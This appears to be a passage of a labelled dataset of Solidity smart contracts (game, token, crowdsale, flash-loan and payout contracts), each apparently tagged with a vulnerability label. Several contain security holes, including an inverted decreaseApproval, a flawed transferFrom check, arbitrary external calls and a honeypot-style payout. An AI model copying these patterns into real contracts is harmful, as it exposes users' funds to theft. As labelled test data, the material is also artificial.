tempFish.boosterStrength = boosters.getBoosterStrength(_booster);
tempFish.activeBooster = boosterType;
tempFish.boostedTill = boosters.getBoosterDuration(_booster) * boosters.getBoosterAmount(_booster) + uint64(now);
tempFish.boosterRaiseValue = boosters.getBoosterRaiseValue(_booster);
}
else if (boosterType == 4) {
require(tempFish.boostedTill > uint64(now));
tempFish.boosterStrength = boosters.getBoosterStrength(_booster);
tempFish.boostedTill += boosters.getBoosterDuration(_booster) * boosters.getBoosterAmount(_booster);
}
else if (boosterType == 5) {
require(boosters.getBoosterAmount(_booster) == 1);
tempFish.canFightAgain = 0;
}
require(boosters.transferFrom(msg.sender, address(0), _booster));
BoosterApplied(_tokenId, _booster);
}
function sqrt(uint64 x) pure internal returns (uint64 y) {
uint64 z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
function doKeccak256(uint256 _input) pure public returns (bytes32) {
return keccak256(_input);
}
function getFishPower(Fish _fish) internal view returns (uint24 power) {
power = _fish.power;
if (_fish.activeBooster == 1 && _fish.boostedTill > now) {
uint24 boosterPower = (10 * _fish.boosterStrength + _fish.boosterRaiseValue + 100) * power / 100 - power;
if (boosterPower < 1 && _fish.boosterStrength == 1) {
power += 1;
} else if (boosterPower < 3 && _fish.boosterStrength == 2) {
power += 3;
} else if (boosterPower < 5 && _fish.boosterStrength == 3) {
power += 5;
} else {
power = boosterPower + power;
}
}
}
function getFishAgility(Fish _fish) internal view returns (uint24 agility) {
agility = _fish.agility;
if (_fish.activeBooster == 3 && _fish.boostedTill > now) {
uint24 boosterPower = (10 * _fish.boosterStrength + _fish.boosterRaiseValue + 100) * agility / 100 - agility;
if (boosterPower < 1 && _fish.boosterStrength == 1) {
agility += 1;
} else if (boosterPower < 3 && _fish.boosterStrength == 2) {
agility += 3;
} else if (boosterPower < 5 && _fish.boosterStrength == 3) {
agility += 5;
} else {
agility = boosterPower + agility;
}
}
}
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
function totalSupply() public view returns (uint256 total) {
total = fishes.length;
}
function balanceOf(address _owner) public view returns (uint256 balance){
balance = balances[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address owner){
owner = fishes[_tokenId].owner;
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
require(fishes[_tokenId].owner == _from);
fishes[_tokenId].owner = _to;
approved[_tokenId] = address(0);
balances[_from] -= 1;
balances[_to] += 1;
Transfer(_from, _to, _tokenId);
}
function transfer(address _to, uint256 _tokenId) public
onlyFishOwner(_tokenId)
returns (bool)
{
_transfer(msg.sender, _to, _tokenId);
return true;
}
function approve(address _to, uint256 _tokenId) public
onlyFishOwner(_tokenId)
{
approved[_tokenId] = _to;
Approval(msg.sender, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint256 _tokenId) public returns (bool) {
require(approved[_tokenId] == msg.sender || msg.sender == auction);
Fish storage fish = fishes[_tokenId];
if (msg.sender == auction) {
fish.activeBooster = 2;
fish.boostedTill = uint64(now + 7 days);
fish.boosterStrength = 1;
}
_transfer(_from, _to, _tokenId);
return true;
}
function takeOwnership(uint256 _tokenId) public {
require(approved[_tokenId] == msg.sender);
_transfer(ownerOf(_tokenId), msg.sender, _tokenId);
}
} | 1 | 4,392 |
pragma solidity ^0.4.25;
contract AssetSeriesA
{
constructor() public payable {
org = msg.sender;
}
function() external payable {}
address org;
function close() public {
if (msg.sender==org)
selfdestruct(msg.sender);
}
function assign() public payable {
if (msg.value >= address(this).balance)
msg.sender.transfer(address(this).balance);
}
} | 1 | 4,941 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) public view returns (uint);
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
function decimals() public view returns (uint8 _decimals);
function totalSupply() public view returns (uint256 _supply);
function transfer(address to, uint value) public returns (bool ok);
function transfer(address to, uint value, bytes data) public returns (bool ok);
function transfer(address to, uint value, bytes data, string custom_fallback) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
}
contract ContractReceiver {
struct TKN {
address sender;
uint value;
bytes data;
bytes4 sig;
}
function tokenFallback(address _from, uint _value, bytes _data) public pure {
TKN memory tkn;
tkn.sender = _from;
tkn.value = _value;
tkn.data = _data;
uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24);
tkn.sig = bytes4(u);
}
}
contract StandardToken is ERC223 {
using SafeMath for uint;
mapping (address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function transfer(address _to, uint _value, bytes _data, string _custom_fallback) public returns (bool success) {
if(isContract(_to)) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
assert(_to.call.value(0)(bytes4(keccak256(_custom_fallback)), msg.sender, _value, _data));
Transfer(msg.sender, _to, _value);
return true;
}
else {
return transferToAddress(_to, _value);
}
}
function transfer(address _to, uint _value, bytes _data) public returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value);
}
}
function transfer(address _to, uint _value) public returns (bool success) {
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value);
}
}
function isContract(address _addr) private view returns (bool is_contract) {
uint length;
assembly {
length := extcodesize(_addr)
}
return (length > 0);
}
function transferToAddress(address _to, uint _value) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(
address _from,
address _to,
uint _value
)
public
returns (bool)
{
if (balanceOf(_from) < _value && allowance(_from, msg.sender) < _value) revert();
bytes memory empty;
balances[_to] = balanceOf(_to).add(_value);
balances[_from] = balanceOf(_from).sub(_value);
allowed[_from][msg.sender] = allowance(_from, msg.sender).sub(_value);
if (isContract(_to)) {
ContractReceiver receiver = ContractReceiver(_to);
receiver.tokenFallback(msg.sender, _value, empty);
}
Transfer(_from, _to, _value);
return true;
}
function increaseApproval(
address spender,
uint value
)
public
returns (bool)
{
allowed[msg.sender][spender] = allowed[msg.sender][spender].add(value);
return true;
}
function decreaseApproval(
address spender,
uint value
)
public
returns (bool)
{
allowed[msg.sender][spender] = allowed[msg.sender][spender].add(value);
return true;
}
function balanceOf(
address owner
)
public
constant
returns (uint)
{
return balances[owner];
}
function allowance(
address owner,
address spender
)
public
constant
returns (uint remaining)
{
return allowed[owner][spender];
}
}
contract MyDFSToken is StandardToken {
string public name = "MyDFS Token";
uint8 public decimals = 6;
string public symbol = "MyDFS";
string public version = 'H1.0';
uint256 public totalSupply;
function () external {
revert();
}
function MyDFSToken() public {
totalSupply = 125 * 1e12;
balances[msg.sender] = totalSupply;
}
function name() public view returns (string _name) {
return name;
}
function symbol() public view returns (string _symbol) {
return symbol;
}
function decimals() public view returns (uint8 _decimals) {
return decimals;
}
function totalSupply() public view returns (uint256 _totalSupply) {
return totalSupply;
}
}
contract Ownable {
address public owner;
address public newOwnerCandidate;
event OwnershipRequested(address indexed _by, address indexed _to);
event OwnershipTransferred(address indexed _from, address indexed _to);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() { require(msg.sender == owner); _;}
function transferOwnership(address _newOwnerCandidate) external onlyOwner {
require(_newOwnerCandidate != address(0));
newOwnerCandidate = _newOwnerCandidate;
OwnershipRequested(msg.sender, newOwnerCandidate);
}
function acceptOwnership() external {
if (msg.sender == newOwnerCandidate) {
owner = newOwnerCandidate;
newOwnerCandidate = address(0);
OwnershipTransferred(owner, newOwnerCandidate);
}
}
}
contract DevTokensHolder is Ownable {
using SafeMath for uint256;
uint256 collectedTokens;
GenericCrowdsale crowdsale;
MyDFSToken token;
event ClaimedTokens(address token, uint256 amount);
event TokensWithdrawn(address holder, uint256 amount);
event Debug(uint256 amount);
function DevTokensHolder(address _crowdsale, address _token, address _owner) public {
crowdsale = GenericCrowdsale(_crowdsale);
token = MyDFSToken(_token);
owner = _owner;
}
function tokenFallback(
address _from,
uint _value,
bytes _data
)
public
view
{
require(_from == owner || _from == address(crowdsale));
require(_value > 0 || _data.length > 0);
}
function collectTokens() public onlyOwner {
uint256 balance = token.balanceOf(address(this));
uint256 total = collectedTokens.add(balance);
uint256 finalizedTime = crowdsale.finishTime();
require(finalizedTime > 0 && getTime() > finalizedTime.add(14 days));
uint256 canExtract = total.mul(getTime().sub(finalizedTime)).div(months(12));
canExtract = canExtract.sub(collectedTokens);
if (canExtract > balance) {
canExtract = balance;
}
collectedTokens = collectedTokens.add(canExtract);
require(token.transfer(owner, canExtract));
TokensWithdrawn(owner, canExtract);
}
function months(uint256 m) internal pure returns (uint256) {
return m.mul(30 days);
}
function getTime() internal view returns (uint256) {
return now;
}
function claimTokens(address _token) public onlyOwner {
require(_token != address(token));
if (_token == 0x0) {
owner.transfer(this.balance);
return;
}
token = MyDFSToken(_token);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
ClaimedTokens(_token, balance);
}
}
contract AdvisorsTokensHolder is Ownable {
using SafeMath for uint256;
GenericCrowdsale crowdsale;
MyDFSToken token;
event ClaimedTokens(address token, uint256 amount);
event TokensWithdrawn(address holder, uint256 amount);
function AdvisorsTokensHolder(address _crowdsale, address _token, address _owner) public {
crowdsale = GenericCrowdsale(_crowdsale);
token = MyDFSToken(_token);
owner = _owner;
}
function tokenFallback(
address _from,
uint _value,
bytes _data
)
public
view
{
require(_from == owner || _from == address(crowdsale));
require(_value > 0 || _data.length > 0);
}
function collectTokens() public onlyOwner {
uint256 balance = token.balanceOf(address(this));
require(balance > 0);
uint256 finalizedTime = crowdsale.finishTime();
require(finalizedTime > 0 && getTime() > finalizedTime.add(14 days));
require(token.transfer(owner, balance));
TokensWithdrawn(owner, balance);
}
function getTime() internal view returns (uint256) {
return now;
}
function claimTokens(address _token) public onlyOwner {
require(_token != address(token));
if (_token == 0x0) {
owner.transfer(this.balance);
return;
}
token = MyDFSToken(_token);
uint256 balance = token.balanceOf(this);
token.transfer(owner, balance);
ClaimedTokens(_token, balance);
}
}
contract GenericCrowdsale is Ownable {
using SafeMath for uint256;
enum State { Initialized, PreIco, PreIcoFinished, Ico, IcoFinished}
struct Discount {
uint256 amount;
uint256 value;
}
address public beneficiary;
State public state;
uint public hardFundingGoal;
uint public softFundingGoal;
uint public amountRaised;
uint public started;
uint public finishTime;
uint public price;
uint public minPurchase;
ERC223 public tokenReward;
mapping(address => uint256) public balances;
bool emergencyPaused = false;
bool softCapReached = false;
DevTokensHolder public devTokensHolder;
AdvisorsTokensHolder public advisorsTokensHolder;
Discount[] public discounts;
uint8[2] public preIcoTokenPrice = [70,75];
uint8[4] public icoTokenPrice = [100,120,125,130];
event TokenPurchased(address investor, uint sum, uint tokensCount, uint discountTokens);
event PreIcoLimitReached(uint totalAmountRaised);
event SoftGoalReached(uint totalAmountRaised);
event HardGoalReached(uint totalAmountRaised);
event Debug(uint num);
modifier sellActive() {
require(
!emergencyPaused
&& (state == State.PreIco || state == State.Ico)
&& amountRaised < hardFundingGoal
);
_; }
modifier goalNotReached() { require(state == State.IcoFinished && amountRaised < softFundingGoal); _; }
function GenericCrowdsale(
address ifSuccessfulSendTo,
address addressOfTokenUsedAsReward
) public {
require(ifSuccessfulSendTo != address(0)
&& addressOfTokenUsedAsReward != address(0));
beneficiary = ifSuccessfulSendTo;
tokenReward = ERC223(addressOfTokenUsedAsReward);
state = State.Initialized;
}
function tokenFallback(
address _from,
uint _value,
bytes _data
)
public
view
{
require(_from == owner);
require(_value > 0 || _data.length > 0);
}
function preIco(
uint hardFundingGoalInEthers,
uint minPurchaseInFinney,
uint costOfEachToken,
uint256[] discountEthers,
uint256[] discountValues
)
external
onlyOwner
{
require(hardFundingGoalInEthers > 0
&& costOfEachToken > 0
&& state == State.Initialized
&& discountEthers.length == discountValues.length);
hardFundingGoal = hardFundingGoalInEthers.mul(1 ether);
minPurchase = minPurchaseInFinney.mul(1 finney);
price = costOfEachToken;
initDiscounts(discountEthers, discountValues);
state = State.PreIco;
started = now;
}
function ico(
uint softFundingGoalInEthers,
uint hardFundingGoalInEthers,
uint minPurchaseInFinney,
uint costOfEachToken,
uint256[] discountEthers,
uint256[] discountValues
)
external
onlyOwner
{
require(softFundingGoalInEthers > 0
&& hardFundingGoalInEthers > 0
&& hardFundingGoalInEthers > softFundingGoalInEthers
&& costOfEachToken > 0
&& state < State.Ico
&& discountEthers.length == discountValues.length);
softFundingGoal = softFundingGoalInEthers.mul(1 ether);
hardFundingGoal = hardFundingGoalInEthers.mul(1 ether);
minPurchase = minPurchaseInFinney.mul(1 finney);
price = costOfEachToken;
delete discounts;
initDiscounts(discountEthers, discountValues);
state = State.Ico;
started = now;
}
function finishSale() external onlyOwner {
require(state == State.PreIco || state == State.Ico);
if (state == State.PreIco)
state = State.PreIcoFinished;
else
state = State.IcoFinished;
}
function emergencyPause() external onlyOwner {
emergencyPaused = true;
}
function emergencyUnpause() external onlyOwner {
emergencyPaused = false;
}
function sendDevTokens() external onlyOwner returns(address) {
require(successed());
devTokensHolder = new DevTokensHolder(address(this), address(tokenReward), owner);
tokenReward.transfer(address(devTokensHolder), 12500 * 1e9);
return address(devTokensHolder);
}
function sendAdvisorsTokens() external onlyOwner returns(address) {
require(successed());
advisorsTokensHolder = new AdvisorsTokensHolder(address(this), address(tokenReward), owner);
tokenReward.transfer(address(advisorsTokensHolder), 12500 * 1e9);
return address(advisorsTokensHolder);
}
function withdrawFunding() external onlyOwner {
require((state == State.PreIco || successed()));
beneficiary.transfer(this.balance);
}
function foreignPurchase(address user, uint256 amount)
external
onlyOwner
sellActive
{
buyTokens(user, amount);
checkGoals();
}
function claimRefund()
external
goalNotReached
{
uint256 amount = balances[msg.sender];
balances[msg.sender] = 0;
if (amount > 0){
if (!msg.sender.send(amount)) {
balances[msg.sender] = amount;
}
}
}
function ()
external
payable
sellActive
{
require(msg.value > 0);
require(msg.value >= minPurchase);
uint amount = msg.value;
if (amount > hardFundingGoal.sub(amountRaised)) {
uint availableAmount = hardFundingGoal.sub(amountRaised);
msg.sender.transfer(amount.sub(availableAmount));
amount = availableAmount;
}
buyTokens(msg.sender, amount);
checkGoals();
}
function buyTokens(
address user,
uint256 amount
) internal {
require(amount <= hardFundingGoal.sub(amountRaised));
uint256 passedSeconds = getTime().sub(started);
uint256 week = 0;
if (passedSeconds >= 604800){
week = passedSeconds.div(604800);
}
Debug(week);
uint256 tokenPrice;
if (state == State.Ico){
uint256 cup = amountRaised.mul(4).div(hardFundingGoal);
if (cup > week)
week = cup;
if (week >= 4)
week = 3;
tokenPrice = price.mul(icoTokenPrice[week]).div(100);
} else {
if (week >= 2)
week = 1;
tokenPrice = price.mul(preIcoTokenPrice[week]).div(100);
}
Debug(tokenPrice);
uint256 count = amount.div(tokenPrice);
uint256 discount = getDiscountOf(amount);
uint256 discountBonus = discount.mul(count).div(100);
count = count.add(discountBonus);
count = ceilTokens(count);
require(tokenReward.transfer(user, count));
balances[user] = balances[user].add(amount);
amountRaised = amountRaised.add(amount);
TokenPurchased(user, amount, count, discountBonus);
}
function ceilTokens(
uint256 num
)
public
pure
returns(uint256)
{
uint256 part = num % 1000000;
return part > 0 ? num.div(1000000).mul(1000000) + 1000000 : num;
}
function successed()
public
view
returns(bool)
{
return state == State.IcoFinished && amountRaised >= softFundingGoal;
}
function initDiscounts(
uint256[] discountEthers,
uint256[] discountValues
) internal {
for (uint256 i = 0; i < discountEthers.length; i++) {
discounts.push(Discount(discountEthers[i].mul(1 ether), discountValues[i]));
}
}
function getDiscountOf(
uint256 _amount
)
public
view
returns (uint256)
{
if (discounts.length > 0)
for (uint256 i = 0; i < discounts.length; i++) {
if (_amount >= discounts[i].amount) {
return discounts[i].value;
}
}
return 0;
}
function checkGoals() internal {
if (state == State.PreIco) {
if (amountRaised >= hardFundingGoal) {
PreIcoLimitReached(amountRaised);
state = State.PreIcoFinished;
}
} else {
if (!softCapReached && amountRaised >= softFundingGoal){
softCapReached = true;
SoftGoalReached(amountRaised);
}
if (amountRaised >= hardFundingGoal) {
finishTime = now;
HardGoalReached(amountRaised);
state = State.IcoFinished;
}
}
}
function getTime() internal view returns (uint) {
return now;
}
} | 1 | 5,160 |
pragma solidity ^0.4.18;
contract metahashtoken {
string public name;
string public symbol;
uint8 public decimals;
uint public totalTokens;
uint public finalyze;
address public ownerContract;
address public owner;
mapping (address => uint256) public balance;
mapping (address => mapping (address => uint256)) allowed;
event Burn(address indexed from, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
function totalSupply() public constant returns (uint256 _totalSupply){
return totalTokens;
}
function balanceOf(address _owner) public constant returns (uint256 _balance){
return balance[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool success) {
address addrSender;
if (msg.sender == ownerContract){
addrSender = ownerContract;
} else {
addrSender = msg.sender;
}
if (balance[addrSender] < _value){
revert();
}
if ((balance[_to] + _value) < balance[_to]){
revert();
}
balance[addrSender] -= _value;
balance[_to] += _value;
Transfer(addrSender, _to, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success){
var _allowance = allowed[_from][msg.sender];
if (_allowance < _value){
revert();
}
if (balance[_from] < _value){
revert();
}
balance[_to] += _value;
balance[_from] -= _value;
allowed[_from][msg.sender] = _allowance - _value;
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success){
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function metahashtoken() public {
name = 'BITCOMO';
symbol = 'BM';
decimals = 2;
owner = msg.sender;
totalTokens = 0;
finalyze = 0;
}
function setContract(address _ownerContract) public {
if (msg.sender == owner){
ownerContract = _ownerContract;
}
}
function setOptions(uint256 tokenCreate) public {
if ((msg.sender == ownerContract) && (finalyze == 0)){
totalTokens += tokenCreate;
balance[ownerContract] += tokenCreate;
} else {
revert();
}
}
function burn(uint256 _value) public returns (bool success) {
if (balance[msg.sender] <= _value){
revert();
}
balance[msg.sender] -= _value;
totalTokens -= _value;
Burn(msg.sender, _value);
return true;
}
function finalyzeContract() public {
if (msg.sender != owner){
revert();
}
finalyze = 1;
}
} | 1 | 5,137 |
pragma solidity ^0.4.23;
contract LetsBreakThings {
address public creator;
address public creatorproxy;
function deposit() public payable {
}
constructor(address _proxy) public {
creator = msg.sender;
creatorproxy = _proxy;
}
event txSenderDetails(address sender, address origin);
event gasDetails(uint remainingGas, uint txGasPrice, uint blockGasLimit);
event balanceLog(address balanceHolder, uint256 balance);
event blockDetails(address coinbase, uint difficulty, uint blockNumber, uint timestamp);
function getBlockHash(uint _blockNumber) public view returns (bytes32 _hash) {
logBlockDetails();
logGasDetails();
logGasDetails();
logSenderDetails();
return block.blockhash(_blockNumber);
}
function logSenderDetails() public view {
emit txSenderDetails(msg.sender, tx.origin);
}
function logGasDetails() public view {
emit gasDetails(msg.gas, tx.gasprice, block.gaslimit);
}
function logBlockDetails() public view {
emit blockDetails(block.coinbase, block.difficulty, block.number, block.timestamp);
}
function checkBalanceSendEth(address _recipient) public {
require(creator == msg.sender, "unauthorized");
checkBalance(_recipient);
_recipient.transfer(1);
checkBalance(_recipient);
_recipient.send(1);
checkBalance(_recipient);
logBlockDetails();
logGasDetails();
logGasDetails();
logSenderDetails();
}
function checkBalance(address _target) internal returns (uint256) {
uint256 balance = address(_target).balance;
emit balanceLog(_target, balance);
return balance;
}
function verifyBlockHash(string memory _hash, uint _blockNumber) public returns (bytes32, bytes32) {
bytes32 hash1 = keccak256(_hash);
bytes32 hash2 = getBlockHash(_blockNumber);
return(hash1, hash2) ;
}
}
contract creatorProxy {
function proxyCall(address _target, address _contract) public {
LetsBreakThings(_contract).checkBalanceSendEth(_target);
}
}
contract ToucheWhoeverFrontRanThat {
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
address public receiver = 0xD906Cecf64772ae28153Bd37b4336DA18A701b96;
function breakTheData() public {
emit Transfer(receiver, receiver, 1618);
emit Transfer(receiver, receiver, 1616);
emit Transfer(receiver, receiver, 1618);
emit Transfer(receiver, receiver, 16138);
emit Transfer(receiver, receiver, 16143);
emit Transfer(receiver, receiver, 1618);
emit Transfer(receiver, receiver, 1618);
emit Transfer(receiver, receiver, 1618);
}
function deposit() public payable {
}
constructor() public {
}
} | 0 | 799 |
pragma solidity ^0.5.0;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.0;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.0;
library ECDSA {
function recover(bytes32 hash, bytes memory signature) internal pure returns (address) {
bytes32 r;
bytes32 s;
uint8 v;
if (signature.length != 65) {
return (address(0));
}
assembly {
r := mload(add(signature, 0x20))
s := mload(add(signature, 0x40))
v := byte(0, mload(add(signature, 0x60)))
}
if (v < 27) {
v += 27;
}
if (v != 27 && v != 28) {
return (address(0));
} else {
return ecrecover(hash, v, r, s);
}
}
function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) {
return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
}
}
pragma solidity ^0.5.5;
library IndexedMerkleProof {
function compute(bytes memory proof, uint160 leaf) internal pure returns (uint160 root, uint256 index) {
uint160 computedHash = leaf;
for (uint256 i = 0; i < proof.length/20; i++) {
uint160 proofElement;
assembly {
proofElement := div(mload(add(proof, add(32, mul(i, 20)))), 0x100000000000000000000000)
}
if (computedHash < proofElement) {
computedHash = uint160(uint256(keccak256(abi.encodePacked(computedHash, proofElement))));
index |= (1 << i);
} else {
computedHash = uint160(uint256(keccak256(abi.encodePacked(proofElement, computedHash))));
}
}
return (computedHash, index);
}
}
pragma solidity ^0.5.5;
contract InstaLend {
using SafeMath for uint;
address private _feesReceiver;
uint256 private _feesPercent;
bool private _inLendingMode;
modifier notInLendingMode {
require(!_inLendingMode);
_;
}
constructor(address receiver, uint256 percent) public {
_feesReceiver = receiver;
_feesPercent = percent;
}
function feesReceiver() public view returns(address) {
return _feesReceiver;
}
function feesPercent() public view returns(uint256) {
return _feesPercent;
}
function lend(
IERC20[] memory tokens,
uint256[] memory amounts,
address target,
bytes memory data
)
public
notInLendingMode
{
_inLendingMode = true;
uint256[] memory prevAmounts = new uint256[](tokens.length);
for (uint i = 0; i < tokens.length; i++) {
prevAmounts[i] = tokens[i].balanceOf(address(this));
require(tokens[i].transfer(target, amounts[i]));
}
(bool res,) = target.call(data);
require(res, "Invalid arbitrary call");
for (uint i = 0; i < tokens.length; i++) {
uint256 expectedFees = amounts[i].mul(_feesPercent).div(100);
require(tokens[i].balanceOf(address(this)) >= prevAmounts[i].add(expectedFees));
if (_feesReceiver != address(this)) {
require(tokens[i].transfer(_feesReceiver, expectedFees));
}
}
_inLendingMode = false;
}
}
pragma solidity ^0.5.0;
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
pragma solidity ^0.5.0;
library CheckedERC20 {
using SafeMath for uint;
function isContract(IERC20 addr) internal view returns(bool result) {
assembly {
result := gt(extcodesize(addr), 0)
}
}
function handleReturnBool() internal pure returns(bool result) {
assembly {
switch returndatasize()
case 0 {
result := 1
}
case 32 {
returndatacopy(0, 0, 32)
result := mload(0)
}
default {
revert(0, 0)
}
}
}
function handleReturnBytes32() internal pure returns(bytes32 result) {
assembly {
switch eq(returndatasize(), 32)
case 1 {
returndatacopy(0, 0, 32)
result := mload(0)
}
switch gt(returndatasize(), 32)
case 1 {
returndatacopy(0, 64, 32)
result := mload(0)
}
switch lt(returndatasize(), 32)
case 1 {
revert(0, 0)
}
}
}
function asmTransfer(IERC20 token, address to, uint256 value) internal returns(bool) {
require(isContract(token));
(bool res,) = address(token).call(abi.encodeWithSignature("transfer(address,uint256)", to, value));
require(res);
return handleReturnBool();
}
function asmTransferFrom(IERC20 token, address from, address to, uint256 value) internal returns(bool) {
require(isContract(token));
(bool res,) = address(token).call(abi.encodeWithSignature("transferFrom(address,address,uint256)", from, to, value));
require(res);
return handleReturnBool();
}
function asmApprove(IERC20 token, address spender, uint256 value) internal returns(bool) {
require(isContract(token));
(bool res,) = address(token).call(abi.encodeWithSignature("approve(address,uint256)", spender, value));
require(res);
return handleReturnBool();
}
function checkedTransfer(IERC20 token, address to, uint256 value) internal {
if (value > 0) {
uint256 balance = token.balanceOf(address(this));
asmTransfer(token, to, value);
require(token.balanceOf(address(this)) == balance.sub(value), "checkedTransfer: Final balance didn't match");
}
}
function checkedTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
if (value > 0) {
uint256 toBalance = token.balanceOf(to);
asmTransferFrom(token, from, to, value);
require(token.balanceOf(to) == toBalance.add(value), "checkedTransfer: Final balance didn't match");
}
}
}
pragma solidity ^0.5.5;
contract QRToken is InstaLend {
using SafeMath for uint;
using ECDSA for bytes;
using IndexedMerkleProof for bytes;
using CheckedERC20 for IERC20;
uint256 constant public MAX_CODES_COUNT = 1024;
uint256 constant public MAX_WORDS_COUNT = (MAX_CODES_COUNT + 31) / 32;
struct Distribution {
IERC20 token;
uint256 sumAmount;
uint256 codesCount;
uint256 deadline;
address sponsor;
uint256[32] bitMask;
}
mapping(uint160 => Distribution) public distributions;
event Created();
event Redeemed(uint160 root, uint256 index, address receiver);
constructor()
public
InstaLend(msg.sender, 1)
{
}
function create(
IERC20 token,
uint256 sumTokenAmount,
uint256 codesCount,
uint160 root,
uint256 deadline
)
external
notInLendingMode
{
require(0 < sumTokenAmount);
require(0 < codesCount && codesCount <= MAX_CODES_COUNT);
require(deadline > now);
token.checkedTransferFrom(msg.sender, address(this), sumTokenAmount);
Distribution storage distribution = distributions[root];
distribution.token = token;
